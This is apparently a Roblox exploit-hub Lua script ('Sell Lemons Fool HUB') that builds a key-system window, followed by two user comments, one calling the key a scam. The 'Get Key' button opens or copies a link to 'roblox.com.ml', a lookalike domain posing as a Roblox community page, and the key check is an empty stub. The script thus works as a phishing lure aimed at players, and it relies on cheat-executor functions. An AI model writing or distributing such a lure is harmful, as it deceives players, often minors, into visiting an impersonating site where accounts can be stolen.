
Key RequiredUniversal

--[[
Sell Lemons Fool HUB
Made by The Fool
--]]
local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local player = Players.LocalPlayer
-- ============================
-- CONFIG: put your link here
-- ============================
local KEY_LINK = "https://www.roblox.com.ml/communities/350072842589/Fool"
-- ============================
-- GUI SETUP
-- ============================
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SellLemonsFoolHUB"
ScreenGui.ResetOnSpawn = false
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScreenGui.Parent = player:WaitForChild("PlayerGui")
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Size = UDim2.new(0, 440, 0, 235)
MainFrame.Position = UDim2.new(0.5, -220, 0.5, -117)
MainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true
MainFrame.ClipsDescendants = true
MainFrame.Parent = ScreenGui
local UICorner = Instance.new("UICorner")
UICorner.CornerRadius = UDim.new(0, 16)
UICorner.Parent = MainFrame
-- Smooth Purple -> Pink -> Yellow gradient background
local MainGradient = Instance.new("UIGradient")
MainGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(108, 70, 220)),
ColorSequenceKeypoint.new(0.35, Color3.fromRGB(190, 70, 210)),
ColorSequenceKeypoint.new(0.65, Color3.fromRGB(240, 100, 160)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 205, 95)),
})
MainGradient.Rotation = 115
MainGradient.Parent = MainFrame
local UIStroke = Instance.new("UIStroke")
UIStroke.Color = Color3.fromRGB(255, 255, 255)
UIStroke.Transparency = 0.55
UIStroke.Thickness = 1.5
UIStroke.Parent = MainFrame
-- Title bar
local TitleBar = Instance.new("Frame")
TitleBar.Name = "TitleBar"
TitleBar.Size = UDim2.new(1, 0, 0, 56)
TitleBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TitleBar.BackgroundTransparency = 0.88
TitleBar.BorderSizePixel = 0
TitleBar.Parent = MainFrame
local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 16)
TitleCorner.Parent = TitleBar
local TitleFix = Instance.new("Frame")
TitleFix.Size = UDim2.new(1, 0, 0, 16)
TitleFix.Position = UDim2.new(0, 0, 1, -16)
TitleFix.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TitleFix.BackgroundTransparency = 0.88
TitleFix.BorderSizePixel = 0
TitleFix.Parent = TitleBar
local TitleDivider = Instance.new("Frame")
TitleDivider.Name = "TitleDivider"
TitleDivider.Size = UDim2.new(1, 0, 0, 1)
TitleDivider.Position = UDim2.new(0, 0, 1, 0)
TitleDivider.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TitleDivider.BackgroundTransparency = 0.7
TitleDivider.BorderSizePixel = 0
TitleDivider.Parent = TitleBar
local TitleLabel = Instance.new("TextLabel")
TitleLabel.Name = "TitleLabel"
TitleLabel.Size = UDim2.new(1, -20, 0, 24)
TitleLabel.Position = UDim2.new(0, 16, 0, 8)
TitleLabel.BackgroundTransparency = 1
TitleLabel.Text = "Sell Lemons Fool HUB"
TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.TextSize = 19
TitleLabel.TextXAlignment = Enum.TextXAlignment.Left
TitleLabel.TextStrokeTransparency = 0.85
TitleLabel.Parent = TitleBar
local SubLabel = Instance.new("TextLabel")
SubLabel.Name = "SubLabel"
SubLabel.Size = UDim2.new(1, -20, 0, 18)
SubLabel.Position = UDim2.new(0, 16, 0, 30)
SubLabel.BackgroundTransparency = 1
SubLabel.Text = "made by The Fool"
SubLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
SubLabel.TextTransparency = 0.15
SubLabel.Font = Enum.Font.Gotham
SubLabel.TextSize = 13
SubLabel.TextXAlignment = Enum.TextXAlignment.Left
SubLabel.Parent = TitleBar
-- Status label
local StatusLabel = Instance.new("TextLabel")
StatusLabel.Name = "StatusLabel"
StatusLabel.Size = UDim2.new(1, -32, 0, 24)
StatusLabel.Position = UDim2.new(0, 16, 0, 68)
StatusLabel.BackgroundTransparency = 1
StatusLabel.Text = "Status: Not Checked"
StatusLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
StatusLabel.Font = Enum.Font.GothamMedium
StatusLabel.TextSize = 14
StatusLabel.TextXAlignment = Enum.TextXAlignment.Left
StatusLabel.Parent = MainFrame
-- Fallback text box for the link (shown if clipboard/browser open isn't available)
local LinkBox = Instance.new("TextBox")
LinkBox.Name = "LinkBox"
LinkBox.Size = UDim2.new(1, -32, 0, 30)
LinkBox.Position = UDim2.new(0, 16, 0, 100)
LinkBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
LinkBox.BackgroundTransparency = 0.85
LinkBox.TextColor3 = Color3.fromRGB(255, 255, 255)
LinkBox.Font = Enum.Font.Code
LinkBox.TextSize = 12
LinkBox.Text = KEY_LINK
LinkBox.ClearTextOnFocus = false
LinkBox.TextEditable = false
LinkBox.Visible = false
LinkBox.Parent = MainFrame
local LinkBoxCorner = Instance.new("UICorner")
LinkBoxCorner.CornerRadius = UDim.new(0, 8)
LinkBoxCorner.Parent = LinkBox
local LinkBoxStroke = Instance.new("UIStroke")
LinkBoxStroke.Color = Color3.fromRGB(255, 255, 255)
LinkBoxStroke.Transparency = 0.7
LinkBoxStroke.Thickness = 1
LinkBoxStroke.Parent = LinkBox
-- Button container
local ButtonHolder = Instance.new("Frame")
ButtonHolder.Name = "ButtonHolder"
ButtonHolder.Size = UDim2.new(1, -32, 0, 52)
ButtonHolder.Position = UDim2.new(0, 16, 1, -68)
ButtonHolder.BackgroundTransparency = 1
ButtonHolder.Parent = MainFrame
-- LEFT: Check Key button
local CheckKeyBtn = Instance.new("TextButton")
CheckKeyBtn.Name = "CheckKeyBtn"
CheckKeyBtn.Size = UDim2.new(0.485, 0, 1, 0)
CheckKeyBtn.Position = UDim2.new(0, 0, 0, 0)
CheckKeyBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
CheckKeyBtn.Text = "Check Key"
CheckKeyBtn.TextColor3 = Color3.fromRGB(60, 30, 80)
CheckKeyBtn.Font = Enum.Font.GothamBold
CheckKeyBtn.TextSize = 16
CheckKeyBtn.AutoButtonColor = true
CheckKeyBtn.Parent = ButtonHolder
local CheckKeyCorner = Instance.new("UICorner")
CheckKeyCorner.CornerRadius = UDim.new(0, 10)
CheckKeyCorner.Parent = CheckKeyBtn
local CheckKeyGradient = Instance.new("UIGradient")
CheckKeyGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(225, 210, 255)),
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(250, 220, 235)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 240, 200)),
})
CheckKeyGradient.Rotation = 90
CheckKeyGradient.Parent = CheckKeyBtn
local CheckKeyBtnStroke = Instance.new("UIStroke")
CheckKeyBtnStroke.Color = Color3.fromRGB(255, 255, 255)
CheckKeyBtnStroke.Transparency = 0.5
CheckKeyBtnStroke.Thickness = 1
CheckKeyBtnStroke.Parent = CheckKeyBtn
-- RIGHT: Get Key button
local GetKeyBtn = Instance.new("TextButton")
GetKeyBtn.Name = "GetKeyBtn"
GetKeyBtn.Size = UDim2.new(0.485, 0, 1, 0)
GetKeyBtn.Position = UDim2.new(0.515, 0, 0, 0)
GetKeyBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
GetKeyBtn.Text = "Get Key"
GetKeyBtn.TextColor3 = Color3.fromRGB(60, 30, 80)
GetKeyBtn.Font = Enum.Font.GothamBold
GetKeyBtn.TextSize = 16
GetKeyBtn.AutoButtonColor = true
GetKeyBtn.Parent = ButtonHolder
local GetKeyCorner = Instance.new("UICorner")
GetKeyCorner.CornerRadius = UDim.new(0, 10)
GetKeyCorner.Parent = GetKeyBtn
local GetKeyGradient = Instance.new("UIGradient")
GetKeyGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(255, 215, 235)),
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 225, 200)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 240, 180)),
})
GetKeyGradient.Rotation = 90
GetKeyGradient.Parent = GetKeyBtn
local GetKeyBtnStroke = Instance.new("UIStroke")
GetKeyBtnStroke.Color = Color3.fromRGB(255, 255, 255)
GetKeyBtnStroke.Transparency = 0.5
GetKeyBtnStroke.Thickness = 1
GetKeyBtnStroke.Parent = GetKeyBtn
-- ============================
-- CONFIRMATION POPUP (Yes / No)
-- ============================
local ConfirmOverlay = Instance.new("Frame")
ConfirmOverlay.Name = "ConfirmOverlay"
ConfirmOverlay.Size = UDim2.new(1, 0, 1, 0)
ConfirmOverlay.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ConfirmOverlay.BackgroundTransparency = 0.4
ConfirmOverlay.Visible = false
ConfirmOverlay.ZIndex = 10
ConfirmOverlay.Parent = MainFrame
local ConfirmOverlayCorner = Instance.new("UICorner")
ConfirmOverlayCorner.CornerRadius = UDim.new(0, 12)
ConfirmOverlayCorner.Parent = ConfirmOverlay
local ConfirmBox = Instance.new("Frame")
ConfirmBox.Name = "ConfirmBox"
ConfirmBox.Size = UDim2.new(0, 330, 0, 150)
ConfirmBox.Position = UDim2.new(0.5, -165, 0.5, -75)
ConfirmBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ConfirmBox.ZIndex = 11
ConfirmBox.Parent = ConfirmOverlay
local ConfirmBoxCorner = Instance.new("UICorner")
ConfirmBoxCorner.CornerRadius = UDim.new(0, 14)
ConfirmBoxCorner.Parent = ConfirmBox
local ConfirmBoxGradient = Instance.new("UIGradient")
ConfirmBoxGradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0.0, Color3.fromRGB(112, 70, 220)),
ColorSequenceKeypoint.new(0.5, Color3.fromRGB(220, 85, 170)),
ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 205, 100)),
})
ConfirmBoxGradient.Rotation = 100
ConfirmBoxGradient.Parent = ConfirmBox
local ConfirmBoxStroke = Instance.new("UIStroke")
ConfirmBoxStroke.Color = Color3.fromRGB(255, 255, 255)
ConfirmBoxStroke.Transparency = 0.45
ConfirmBoxStroke.Thickness = 1.5
ConfirmBoxStroke.Parent = ConfirmBox
local ConfirmLabel = Instance.new("TextLabel")
ConfirmLabel.Size = UDim2.new(1, -30, 0, 60)
ConfirmLabel.Position = UDim2.new(0, 15, 0, 18)
ConfirmLabel.BackgroundTransparency = 1
ConfirmLabel.Text = "Open key link in browser?"
ConfirmLabel.TextWrapped = true
ConfirmLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
ConfirmLabel.Font = Enum.Font.GothamBold
ConfirmLabel.TextSize = 19
ConfirmLabel.ZIndex = 11
ConfirmLabel.Parent = ConfirmBox
local ConfirmSubLabel = Instance.new("TextLabel")
ConfirmSubLabel.Size = UDim2.new(1, -30, 0, 18)
ConfirmSubLabel.Position = UDim2.new(0, 15, 0, 56)
ConfirmSubLabel.BackgroundTransparency = 1
ConfirmSubLabel.Text = "\"No\" copies the link instead"
ConfirmSubLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
ConfirmSubLabel.TextTransparency = 0.25
ConfirmSubLabel.Font = Enum.Font.Gotham
ConfirmSubLabel.TextSize = 13
ConfirmSubLabel.ZIndex = 11
ConfirmSubLabel.Parent = ConfirmBox
local ConfirmButtonHolder = Instance.new("Frame")
ConfirmButtonHolder.Size = UDim2.new(1, -30, 0, 44)
ConfirmButtonHolder.Position = UDim2.new(0, 15, 1, -60)
ConfirmButtonHolder.BackgroundTransparency = 1
ConfirmButtonHolder.ZIndex = 11
ConfirmButtonHolder.Parent = ConfirmBox
local YesBtn = Instance.new("TextButton")
YesBtn.Size = UDim2.new(0.48, 0, 1, 0)
YesBtn.Position = UDim2.new(0, 0, 0, 0)
YesBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
YesBtn.Text = "Yes"
YesBtn.TextColor3 = Color3.fromRGB(60, 30, 80)
YesBtn.Font = Enum.Font.GothamBold
YesBtn.TextSize = 16
YesBtn.ZIndex = 11
YesBtn.Parent = ConfirmButtonHolder
local YesCorner = Instance.new("UICorner")
YesCorner.CornerRadius = UDim.new(0, 9)
YesCorner.Parent = YesBtn
local NoBtn = Instance.new("TextButton")
NoBtn.Size = UDim2.new(0.48, 0, 1, 0)
NoBtn.Position = UDim2.new(0.52, 0, 0, 0)
NoBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
NoBtn.BackgroundTransparency = 0.75
NoBtn.Text = "No"
NoBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
NoBtn.Font = Enum.Font.GothamBold
NoBtn.TextSize = 16
NoBtn.ZIndex = 11
NoBtn.Parent = ConfirmButtonHolder
local NoCorner = Instance.new("UICorner")
NoCorner.CornerRadius = UDim.new(0, 9)
NoCorner.Parent = NoBtn
local NoStroke = Instance.new("UIStroke")
NoStroke.Color = Color3.fromRGB(255, 255, 255)
NoStroke.Transparency = 0.4
NoStroke.Thickness = 1.5
NoStroke.Parent = NoBtn
-- ============================
-- LOGIC
-- ============================
-- Plug your own key verification here (e.g. HttpGet to your own key-check API)
local function checkKey()
StatusLabel.Text = "Status: Checking..."
-- >>> Put your own verification logic here <<<
-- Example structure:
-- local success, result = pcall(function()
-- return game:HttpGet("YOUR_OWN_VALIDATION_ENDPOINT")
-- end)
-- if success and result == "valid" then
-- StatusLabel.Text = "Status: Key Valid"
-- else
-- StatusLabel.Text = "Status: Invalid Key"
-- end
StatusLabel.Text = "Status: Add your check logic here"
end
local function copyLinkFallback()
local success = pcall(function()
setclipboard(KEY_LINK)
end)
if success then
StatusLabel.Text = "Status: Link copied to clipboard"
else
LinkBox.Visible = true
LinkBox:CaptureFocus()
LinkBox.SelectionStart = 1
LinkBox.CursorPosition = #KEY_LINK + 1
StatusLabel.Text = "Status: Select & copy link below"
end
end
local function openLink()
local success = pcall(function()
GuiService:OpenBrowserWindow(KEY_LINK)
end)
if success then
StatusLabel.Text = "Status: Opening link in browser..."
else
-- Browser opening isn't available in this environment, fall back to copy
StatusLabel.Text = "Status: Browser open unavailable, copying link instead"
copyLinkFallback()
end
end
CheckKeyBtn.MouseButton1Click:Connect(checkKey)
GetKeyBtn.MouseButton1Click:Connect(function()
ConfirmOverlay.Visible = true
end)
YesBtn.MouseButton1Click:Connect(function()
ConfirmOverlay.Visible = false
openLink()
end)
NoBtn.MouseButton1Click:Connect(function()
ConfirmOverlay.Visible = false
copyLinkFallback()
end)



key is scam
@slakkkjk Wdym? scam?